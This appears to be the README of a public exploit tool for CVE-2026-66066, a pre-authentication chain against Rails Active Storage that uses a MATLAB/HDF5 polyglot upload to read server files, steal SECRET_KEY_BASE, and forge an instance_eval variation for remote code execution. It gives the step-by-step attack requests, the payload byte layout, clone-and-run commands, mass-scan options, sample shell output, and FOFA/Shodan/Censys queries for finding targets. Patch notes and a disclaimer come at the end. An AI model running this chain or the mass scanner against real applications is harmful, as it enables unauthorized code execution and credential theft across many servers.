
CVE-2026-66066 — KindaRails2Shell: Rails Active Storage/libvips Arbitrary File Read → RCE. MATLAB/HDF5 dual-identity file → SECRET_KEY_BASE theft → forged variation. CVSS 9.5 | Rails < 8.1.3.1
CVE-2026-66066은 Ruby on Rails Active Storage에서 발생하는 치명적 심각도(CVSS 9.5)의 인증 전(pre-authentication) 임의 파일 읽기 → 원격 코드 실행 공격 체인으로, 기본 구성의 Rails 7.2.0–7.2.3.1, 8.0.0–8.0.5, 8.1.0–8.1.3에 영향을 미칩니다.
이 취약점은 Rails, libvips, libmatio, HDF5 전반에 걸친 4계층 파서 혼동(four-layer parser confusion) 을 악용합니다. MATLAB 5.0 헤더(libvips 스니퍼를 충족)와 HDF5 v7.3 컨테이너(libmatio가 디스패치)를 가진 조작된 파일에는 서버 측 임의 파일 경로를 가리키는 외부 데이터셋(external dataset) 이 포함되어 있습니다. ActiveStorage가 이 파일을 이미지 변형(variant)으로 처리하면 대상 파일의 바이트가 이미지 픽셀로 변환되어 인증 없이 임의 파일 읽기가 가능해집니다.
SECRET_KEY_BASE가 /proc/self/environ 또는 자격 증명 파일에서 획득되면, 공격자는 Active Storage verifier 키를 파생하고 instance_eval이 포함된 서명된 variation JSON을 위조하여 원격 코드 실행을 달성합니다.
영향받는 설치: 500K+ Rails 애플리케이션 (Rails 7+ 기본값
variant_processor = :vips) 발견: Ethiack Research Team + RyotaK (GMO Flatt Security) + bl0rph, 2026년 7월 패치: Rails 7.2.3.2 / 8.0.5.1 / 8.1.3.1 (2026년 7월 29일)
| 브랜치 | 취약 버전 | 수정 버전 |
|---|---|---|
| 7.2.x | 7.2.0 – 7.2.3.1 | 7.2.3.2 |
| 8.0.x | 8.0.0 – 8.0.5 | 8.0.5.1 |
| 8.1.x | 8.1.0 – 8.1.3 | 8.1.3.1 |
Rails 6.x는 variant_processor = :vips를 수동으로 활성화한 경우에만 영향을 받습니다.
발견: André Baptista, Bruno Mendes, Rafael Castilho (Ethiack); RyotaK (GMO Flatt Security); bl0rph 참조 PoC: 0xsha/KindaRails2Shell Metasploit:
exploit/multi/http/rails_activestorage_vips_rce
이 익스플로잇은 네 가지 구성 요소에 걸쳐 두 가지 독립적인 콘텐츠 유형(content-type) 불일치 를 연쇄적으로 활용합니다:
Layer 1: Rails → trusts client-declared content_type (image/png)
No byte re-identification on direct upload blobs.
Layer 2: libvips → trusts magic bytes "MATLAB 5.0" at offset 0–9
Routes the file to matload without verifying the full header.
Layer 3: libmatio → trusts version word 0x0200 at offset 124–125
Dispatches to HDF5 reader; ignores the descriptive text mismatch.
Layer 4: HDF5 → trusts external(path, offset, length) dataset reference
H5Dread transparently opens and reads the external file.
Result: arbitrary file bytes returned as PNG pixel data.
정상적인 작성자는 바이트 0에 MATLAB 5.0, 바이트 124에 0x0200을 동시에 기록하지 않습니다.
Blob#variable?는 직접 업로드 시점에 채워진 데이터베이스 열을 신뢰합니다. 바이트는 전혀 검사되지 않습니다.Vips::Image.new_from_file는 로더들을 순회하며, matload의 스니퍼는 10바이트만 검사합니다.0x0200이 HDF5 백엔드를 선택합니다.H5Pset_external은 데이터셋의 원시 바이트가 임의의 외부 파일에 저장될 수 있게 합니다. libmatio는 H5Pget_external_count를 확인하지 않고 H5Dread를 호출합니다.Transformers::Vips는 기본 클래스에서 validate_transformation을 상속하는데, 이는 combine_options만 차단합니다. 임의의 메서드 이름이 Vips::Image.public_send로 전달됩니다.1. POST /rails/active_storage/direct_uploads
blob[content_type]=image/png&blob[checksum]=<MD5_of_payload>
→ Rails persists blob with client-declared type, identified=false forever
2. PUT <storage_url>
body=<MATLAB 5.0 + HDF5 external(/proc/self/environ) payload>
→ Payload uploaded, blob ready for processing
3. Harvest variation_key from any existing thumbnail on the app
→ og:image, HTML , API responses, Internet Archive
4. GET /rails/active_storage/representations/redirect/:signed_id/:variation_key/poc.png
→ ActiveStorage downloads blob, passes to libvips
→ libvips detects "MATLAB 5.0", routes to matload
→ libmatio sees 0x0200, opens HDF5 container
→ H5Dread resolves external(/proc/self/environ) → file bytes become pixels
→ PNG thumbnail returned to attacker
5. Decode PNG pixels → recover SECRET_KEY_BASE from environment
6. Derive verifier key: PBKDF2-HMAC-SHA256(SECRET_KEY_BASE, "ActiveStorage", 1000, 64)
Forge signed variation: {"instance_eval" => "system('cmd > /tmp/out')"}
Submit to representations route → RCE
git clone https://github.com/shinthink/CVE-2026-66066.git
cd CVE-2026-66066
pip install requests
# Full chain — file read → secret recovery → RCE
python cve_2026_66066.py -t rails-app.com
# Read a specific file
python cve_2026_66066.py -t rails-app.com --read /etc/passwd
# Provide SECRET_KEY_BASE directly (skip file read)
python cve_2026_66066.py -t rails-app.com --skb <secret> -c "id; hostname"
# Mass scan
python cve_2026_66066.py -f targets.txt -o rce.txt --threads 10
-t, --target Single target URL
-f, --file Target list, one per line
-c, --command Shell command to execute (default: id)
--read PATH Read a specific file from the server
--skb SECRET Provide SECRET_KEY_BASE directly for RCE
-o, --output Save results to file
--threads Concurrent workers (default: 20)
--timeout HTTP request timeout in seconds
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2026_66066.py -t rails-app.example.com
KindaRails2Shell | CVE-2026-66066 | CVSS 9.5
Host : rails-app.example.com
Rails : YES
ActiveStorage : YES
File Read : YES
SECRET_KEY : a1b2c3d4...
RCE : YES
RCE Output:
uid=1000(rails) gid=1000(rails) groups=1000(rails)
rails-prod-01
$ python cve_2026_66066.py -t rails-app.com --read /proc/self/environ
FOFA: body="rails/active_storage" || header="X-Runtime"
Shodan: http.component:"Ruby on Rails" http.title:"Ruby on Rails"
Censys: services.http.response.headers.x_powered_by:"Phusion Passenger"
성공적인 익스플로잇은 Rails 프로세스 사용자 권한으로 원격 코드 실행을 가능하게 합니다:
SECRET_KEY_BASE 추출 → 서명된 쿠키, 세션, ActiveStorage 토큰 위조credentials.yml.enc 복호화 → 데이터베이스 비밀번호, 클라우드 스토리지 키, 타사 API 토큰애플리케이션에 계정이 필요 없습니다. 직접 업로드 엔드포인트는 기본적으로 인증되지 않은 요청을 허용합니다.
이 수정 사항은 신뢰할 수 없는 libvips 로더를 차단합니다:
# Active Storage initializer
Vips.block_untrusted = true
# or: VIPS_BLOCK_UNTRUSTED=1
이로써 matload, svgload, fitsload, niiload, radload, openslideload가 신뢰할 수 없는 입력을 처리하지 못합니다. Rails 7.2.3.2, 8.0.5.1 또는 8.1.3.1로 업그레이드하세요. libvips >= 8.13 및 ruby-vips >= 2.2.1이 필요합니다.
패치 후: Rails 프로세스가 읽을 수 있는 모든 비밀값을 교체하세요 — SECRET_KEY_BASE, RAILS_MASTER_KEY, 데이터베이스 자격 증명, 클라우드 스토리지 키.
교육 및 승인된 테스트 목적으로만 사용하십시오.
소유자의 명시적 허가 없이 시스템에 사용하지 마십시오. 저자는 오용에 대한 책임을 지지 않습니다.
Ethiack Research Team + RyotaK + bl0rph가 발견. Ruby on Rails와 관련이 없습니다.
| 바이트 | 용도 | 값 |
|---|
| 0–9 | libvips 스니퍼 | MATLAB 5.0 |
| 10–123 | 패딩 | 공백 |
| 124–125 | libmatio 디스패처 | 0x0200 (HDF5 v7.3) |
| 126–127 | 엔디언 마커 | 0x4d49 (IM) |
| 128–511 | HDF5 사용자 블록 | 패딩 |
| 512+ | HDF5 슈퍼블록 | 외부 데이터셋이 포함된 컨테이너 |
| 파일 | 용도 |
|---|
activestorage/app/models/active_storage/blob.rb | variable?가 content_type 열을 신뢰함 |
activestorage/app/models/active_storage/blob/representable.rb | representation 라우트가 blob + variation을 독립적으로 해석함 |
activestorage/app/models/active_storage/variation.rb | decode가 variation 키를 검증하며 blob과의 상호 참조 없음 |
image_processing/lib/image_processing/transformers/vips.rb | 메서드 허용 목록 없음 — 기본 클래스 동작을 상속 |
libvips/foreign/matload.c | vips__mat_ismat이 처음 10바이트만 스니핑 |
| 자료 | 링크 |
|---|
| Rails 보안 권고 | GHSA-xr9x-r78c-5hrm |
| 참조 PoC (0xsha) | KindaRails2Shell |
| Ethiack 연구 | kindarails2shell |
| Rails 포렌식 | rails-forensics-CVE-2026-66066 |
| Metasploit 모듈 | rapid7/metasploit-framework#21733 |
| CWE-94 | 코드 인젝션 |